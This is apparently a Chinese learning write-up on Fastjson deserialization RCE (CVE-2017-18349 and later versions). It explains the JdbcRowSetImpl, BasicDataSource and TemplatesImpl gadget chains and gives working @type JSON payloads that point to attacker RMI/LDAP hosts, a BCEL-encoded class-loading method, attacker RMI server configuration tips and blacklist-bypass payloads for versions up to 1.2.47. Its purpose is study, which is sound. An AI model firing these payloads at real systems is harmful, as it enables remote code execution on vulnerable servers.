Fastjson漏洞学习
前言
Fastjson是一个Java语言编写的高性能功能完善的开源JSON解析库,属于阿里巴巴。用于对JSON格式的数据进行解析和打包,能够支持将java bean序列化成JSON字符串, 也能够将JSON字符串反序列化成Java bean。简单说就是可用于将Java对象转换为其JSON表示形式,也可以用于将JSON字符串转换为等效的Java对象,而且十分简洁。
1 | String text = JSON.toJSONString(obj); //序列化 |
set和get
set和get这两个方法是对数据进行设置和获取用的,set方法是初始化和赋值时调用。而且,在类中使用set和get方法时,都是在set和get后面跟上一些特定的词来形成特定意思的方法名,比如setage()和getage(),表示设置年龄和获取年龄。JAVA中的封闭性和安全性,封闭性即对类中的域变量进行封闭操作,即用private来修饰他们,如此一来其他类则不能对该变量访问。这样我们就将这些变量封闭在了类内部,这样就提高了数据的安全性,当我们想要操作这些域变量怎么办呢?我们可以通过两种方法:
第一种即通过public方式的构造器(或称构造函数),对象一实例化就对该变量赋值。
第二种就是通过上面提到的set和get方法,举一个特定的例子,定义一个
Person类,
该类中有name、age这两个私有域变量,
定义setname()、getname()、setage()、getage()这四个方法,
通过这四个方法来实现对name和age的操作。这样一来,不用直接对Person类中的域变量操作,而是通过set和get方法间接地操作这些变量,这样就能提高域变量的安全性,同时又保证了域变量的封装型。
最后说说set和get方法的使用场景,一般来说set和get方法都是对私有域变量进行操作的,所以大多数都是使用在包含特定属性的类实体中。
这两个方法只是类中的setxxx和getxxx方法的总称,给他赋值就用u.setXXX(); 取这个类的对象的某个值 就get。例如:
1 | public class Student {private Integer id; |
正文
fastjson的使用
1 | 在pom.xml中通过配置maven依赖: |
指纹识别
1.有报错回显
我们可以以POST方式发送一个不闭合花括号的方式,使网站给我们显示报错包,在回显包中会有json类型的信息
2.无报错回显
可使用DNSlog来回显
(CVE-2017-18349)Fastjson<=1.2.24反序列化-rce
fastjson在解析json的过程中,支持使用autoType也就是@type
来实例化某一个具体的类,并调用该类的set/get方法来访问属性,可以使得fastjson支持自省,目的是为了让开发者更加方便的使用Fastjson的一系列功能,只要JSON字符串中包含 @type ,那么 @type 后的属性,就会被当做是 @type 所指定的类的属性,从而在不传递第二个参数的情况下让Fastjson明确要还原的类,但是此功能也是造成漏洞的原因,通过查找代码中相关的类和方法,即可构造出一些恶意利用链。具体漏洞的形成原因是Fastjson通过parseObject/parse将传入的字符串反序列化为Java对象时由于没有进行合理检查从而导致用户在构造恶意攻击链并传入,可造成任意命令执行漏洞。
就比如:
JSON.toJSONString(object,SerializerFeature.WriteClassName)这个方法中存在的一个参数SerializerFeature.WriteClassName
,它会使序列化后的数据带有@type
表明所属的类,在对JSON数据进行反序列化的时候,会去调用指定类中的get/set/is方法。
所以如果我们在序列化的时候添加了@type
参数,是不是可以在反序列化的时候,通过控制@type
键的值也就是上面的”Student”来控制该序列化数据要被反序列化成什么样的对象,即调用什么类的set方法。于是我们需要在fastjson中找到一个合适的类,它可以被用来完成我们想要的功能。
fastjson反序列化过程
我们先编写一个类,随后使用数据进行反序列化。
1 | package org.example; |
1 | package org.example; |
在parseObject这里打个断点,方便待会跟。
前面跟的有点头晕,一路来到scanSymbol()方法,它会读取到@type关键字
然后通过 TypeUtils.loadClass() 方法来加载 Class,优先从 mappings 里面寻找类,mappings 中存放着一些 Java 内置类,在里面查找不到,所以最后用 ClassLoader() 加载类,也就是加载我们的实验类 org.example.Student 类
往下跟会调用 deserialze()方法(反序列化程序),在反序列化之前先使用getDeserializer() 方法获取反序列化数据
接着继续在getDeserializer() 方法往下,这里使用了拒绝列表(黑名单)的方式进行过滤,但是里面只有Thread
再往后就是调用get/set方法进行数据的获取和赋值。
针对fastjson反序列化,网上师傅们三条常用的这三条链:JdbcRowSetImpl(JdbcRowSetImpl利用链最终的结果是导致 JNDI 注入)、TemplatesImpl(需要开启 Feature.SupportNonPublicField 实战中不适用)、BasicDataSource(系统不出网时使用) 。
JdbcRowSetImpl利用链
因为JdbcRowSetImpl利用的最后是造成的JDNI注入,所以首先我们先来了解一些必要的概念。RMI、JNDI、JRMP协议、LDAP协议。(可以移步我以往文章)
JNDI查找远程对象时InitialContext.lookup(URL)的参数URL可以覆盖一些上下文中的属性,比如:Context.PROVIDER_URL。Spring框架的spring-tx.jar中的JtaTransactionManager.readObject()中就存在这个问题,当进行对象反序列化的时候,会执行lookup()操作,可以进行JNDI注入。也就是说JNDI接口在初始化时,可以将RMI URL作为参数传入,而JNDI注入出现在客户端的lookup()函数中,如果lookup()的参数可控就可能被攻击。
JNDI注入(这里指修改JNDI查找远程的对象):
JDNI 注入所需要的RMI和LDAP对JDK是有限制的,高版本的JDK不适用。
1 |
|
可以看到ldap的利用范围是比rmi要大的,实战情况下推荐使用ldap方法进行利用。
下面开始分析JdbcRowSetImpl链:
JdbcRowSetImpl的局限是必须能出网去加载远端的恶意字节码,该类是JDK自带的,完整类地址com.sun.rowset.JdbcRowSetImpl 。
POC 如下,@type指向com.sun.rowset.JdbcRowSetImpl类,dataSourceName值为 RMI 服务中心绑定的 Exploit 服务,autoCommit有且必须为 true 或 false 等布尔值类型:
1 | {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://hacker_server/xxx","autoCommit":true} |
瞅瞅这个类:
进入JdbcRowSetImpl,找到setDataSourceNmame():
首先判断getDataSourceName()是否为空,若为空则进入else对其进行赋值,将dsName传给它。
来到getDataSourceName()方法处查看一下他的返回值
getDataSourceName()返回值是字符串类型的dataSource,而我们在反序列化时它是空的,所以表明setDataSourceNmame()会默认自动调用setDataSourceName()为DataSourceName赋值(DataSourceName在connect()中,后面讲)。
回到com.sun.rowset.JdbcRowSetImpl类中的com.sun.rowset.JdbcRowSetImpl.setAutocommit()方法:
这里有一个重要的方法调用com.sun.rowset.JdbcRowSetImpl.connect()
找到com.sun.rowset.JdbcRowSetImpl.connect()
connect()方法最终执行了lookup()方法,lookup()方法就是JNDI中访问远程服务器获取远程对象的方法,其参数getDataSourceName()为服务器地址,而getDataSourceName是获取DataSourceName值的方法,我们要是控制了setDataSourceName方法的参数比如设置成自己的VPS,这样就可以访问到自己的服务器了。刚好我们知道Fastjson在反序列化的时候,会自动调用所有的set方法,于是正好可以通过setDataSourceName对DataSourceName进行赋值。
总的来说这个链原理,FastJson将JSON字符串反序列化到指定的Java类时,会调用目标类的getter、setter等方法。而JDK中的JdbcRowSetImpl类的setAutoCommit()会调用connect()函数,connect()函数又会调用InitialContext.lookup(dataSourceName),这里的参数dataSourceName是在setter方法setDataSourceName(ds Name)中设置的。所以在FastJson反序列化漏洞过程中,我们是可以控制dataSourceName的值的*,也就是说满足了JNDI注入利用的条件
lookup()方法是JNDI中访问远程服务器获取远程对象的方法,找到com.sun.jndi.rmi.registry.RegistryContext.lookup()想看看具体实现过程,是怎样lookup的,大概是触发lookup(),加载远程恶意对象,后面decodeObject()方法,加载远程Reference绑定的恶意对象(我看不太懂,但是我大为震撼)
好了,com.sun.rowset.JdbcRowSetImpl链到这就结束了。
!!注意:
在本地测试的过程中,POC通常是可以得到结果的,但是进行远程或者不同网络的时候往往会出现请求超时的结果(timeout) ,为什么会出现这种情况呢?
有师傅分析,在使用RMI Registry时服务端会使用两个端口服务,一个是监听端口(默认1099),另一个是远程通信的host和port是由RMI Registry传递给客户端(攻击机)且port是随机分配,host默认值是服务端本地主机名对应的IP地址,大多数情况下是一个内网IP没错了,127.0.1.1。关于127.0.1.1,这个是127.0.0.0/8段下面的一个ip,出现在/etc/hosts文件中的,可以用来解析自己的主机名。
尝试应对:可以把/etc/hosts中指向内网IP的记录删除或者指向外网IP(服务端也属于你的情况下),也可以在攻击者的RMI服务端通过代码明确指定远程对象通信Host IP:
1 | System.setProperty("java.rmi.server.hostname","外网IP"); |
或者在启动RMI服务时,通过启动参数指定 java.rmi.server.hostname 属性:
1 | -Djava.rmi.server.hostname=服务器真实外网IP |
BasicDataSource利用链
现实环境多种多样,处于内网不出网的机器也很多,那么如果目标服务器没有外网、无法反连,那就无法使用 JdbcRowSetImpl 利用链 JNDI 注入的方式。那么是否有方法能解决这个不出网的问题呢?显然师傅们已经在前面找到方法了, 下面来看BasicDataSource利用链,它是位于Tomcat里的类,如果能成功利用到它,可以在 Payload 中直接传入字节码并且对方机器不需要出网,也不需要开启什么特殊的参数,适用范围一下就开阔了有没有。但是前提是目标要引入tomcat依赖,而且版本不是很高的那种,当然站点一般追求稳定的较低版本,而且不少环境都是有Tomcat的,这也算是相对比较常见的配置了。
在实验环境中,引入Tomcat
1 | <dependency> |
在不同的版本中,BasicDataSource的位置是有所不同的,它在旧版本的 tomcat-dbcp 包中,完整的路径是 org.apache.tomcat.dbcp.dbcp.BasicDataSource
但是在8.0版本之后完整的路径有所变化org.apache.tomcat.dbcp.dbcp2.BasicDataSource。
Java的类加载器
ClassLoader :
在Java中,运行它需要经过两次处理,首先编译器将Java源代码转换为Java二进制代码(字节码),生成.class文件,之后通过Java虚拟机(JVM,在jdk下的javac中可以找到)的解释器来执行这段代码。Java字节码中有很多的Class信息,JVM在执行的时候需要用到ClassLoader就来Java类,由ClassLoader将Java字节码中的Class加载到内存中。而每个Class对象的内部都有一个 classLoader 属性来标识自己是由哪个 ClassLoader 加载的。路径:java.base.java.lang.ClassLoader
1 | jdk自带常用的类加载器: |
1 | 加载器常用方法: |
另外一个就是 java.lang.class.forname()方法也可以用来动态加载类,而且它默认初始化类,会执行静态代码块 (就是static代码块;官方解释:格式 static{} 特点:需要通过static关键字修饰,随着类的加载而加载,并且自动触发、只执行一次 优先加载 使用场景:在类加载的时候做一些静态数据初始化的操作,以便后续使用)
1 | public static Class<?> forName(String name, boolean initialize, ClassLoader loader) throws ClassNotFoundException |
利用链
BasicDataSource.getConnection() -> BasicDataSource.createDataSource() -> BasicDataSource.createConnectionFactory()
可以看到,这条链最终会调用前面提到的加载类的一种方法JDK的Class.forName(),使用的参数driverClassName和driverClassLoader,我们是可以控制这俩参数的,一起来看poc,这是针对目标使用JSON.parse() 方法进行反序列化
1 | POC: |
我们先来看看com.sun.org.apache.bcel.internal.util.ClassLoader是什么,看名字就知道它是一个类加载器,这是jdk自带的类,它会直接从classname中提取Class的字节码数据。具体是:如果classname中包含$$BCEL$$,该ClassLoader则会将$$BCEL$$后的字符串以BCEL编码进行解码,作为Class的字节码,并调用defineClass()将Class转化为对象
poc建议删掉所有空格进行分析,首先json格式为 {“key”: value, “key”: value} 。
- 先将 {“@type”: “org.apache.tomcat.dbcp.dbcp2.BasicDataSource”……} 这一整段放到JSON Value的位置上,之后在外面又套了一层 “{ }”。
- 之后又将 Payload 整个放到了JSON 字符串中 Key 的位置上。
“driverClassName”: “$$BCEL$$$l$8b$I$A$…”,其参数是$$BCEL$$接上我们恶意类的字节码的BCEL编码。例如编写一个实验类
1 | package com; |
我们使用先使用javac将test编译成.class文件
1 | javac Main.java |
然后使用工具BCELCodeman对这个字节码进行BCEL编码。基本可以理解为是传统字节码的HEX编码,再将反斜线替换成$
。
1 | java -jar BCELCodeman/src/BCELCodeman.jar e test.class |
最后发生payload发送到目标
另外,若是目标使用的是JSON.parseObject()方法进行反序列化,那么POC更简单一些
1 | { |
TemplatesImpl利用链
该链和BasicDataSource都用到了字节码,完整利用链TemplatesImpl.getOutputProperties()-> TemplatesImpl.newTransformer()-> TemplatesImpl.getTransletInstance()-> TemplatesImpl.defineTransletClasses()
1 | private void defineTransletClasses() |
这个PoC原理上也是利用了 ClassLoader 动态加载恶意代码,在Payload中直接传入字节码。TransletClassLoader.defineClass() 将 Bytecode 字节码转为Class对象。但是这种限制比较多,要求开发者在调用parseObject()时额外设置 Feature.SupportNonPublicField,在实战中很少见,这里就不写了。
各版本绕过
1.2.24及以前版本比较简单,在1.2.25开始加入了黑白名单机制,安全性提高
1.2.25~1.2.41
1 | 黑名单: |
1.2.25 中加入了CheckAutoType方法,里面有个autotypesupport属性,如果为false,那么就会检测json中@type的值 开头是否与黑名单中的值一样,若一样就直接返回一个异常,然后加载白名单中的类,autotypesupport开启时,会先白名单加载,后黑名单检测
loadClass 时会移除开头的L和结尾的 “ ; “,那我们自己添加进去,并且在autotypesupport开启时
1 | {"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://localhost:9000/exploit","autoCommit":true}"; |
1.2.25~1.2.47
1.2.25-1.2.32版本:未开启AutoTypeSupport时能成功利用,开启AutoTypeSupport反而不能成功触发;
1.2.33-1.2.47版本:无论是否开启AutoTypeSupport,都能成功利用;
1 | { |
1.2.42(1)
会先将开头的 L 和结尾的 “ ; “ 移除再进行黑名单判断,那就双写
1 | {"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"rmi://localhost:9000/exploit","autoCommit":true}"; |
1.2.42(2)
遇到 LL 开头的 typeName 直接抛出异常退出….
1 | { |
1.2.25~1.2.45
绕过黑名单的方式
1 | {"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"rmi://localhost:1099/Exploit"}} |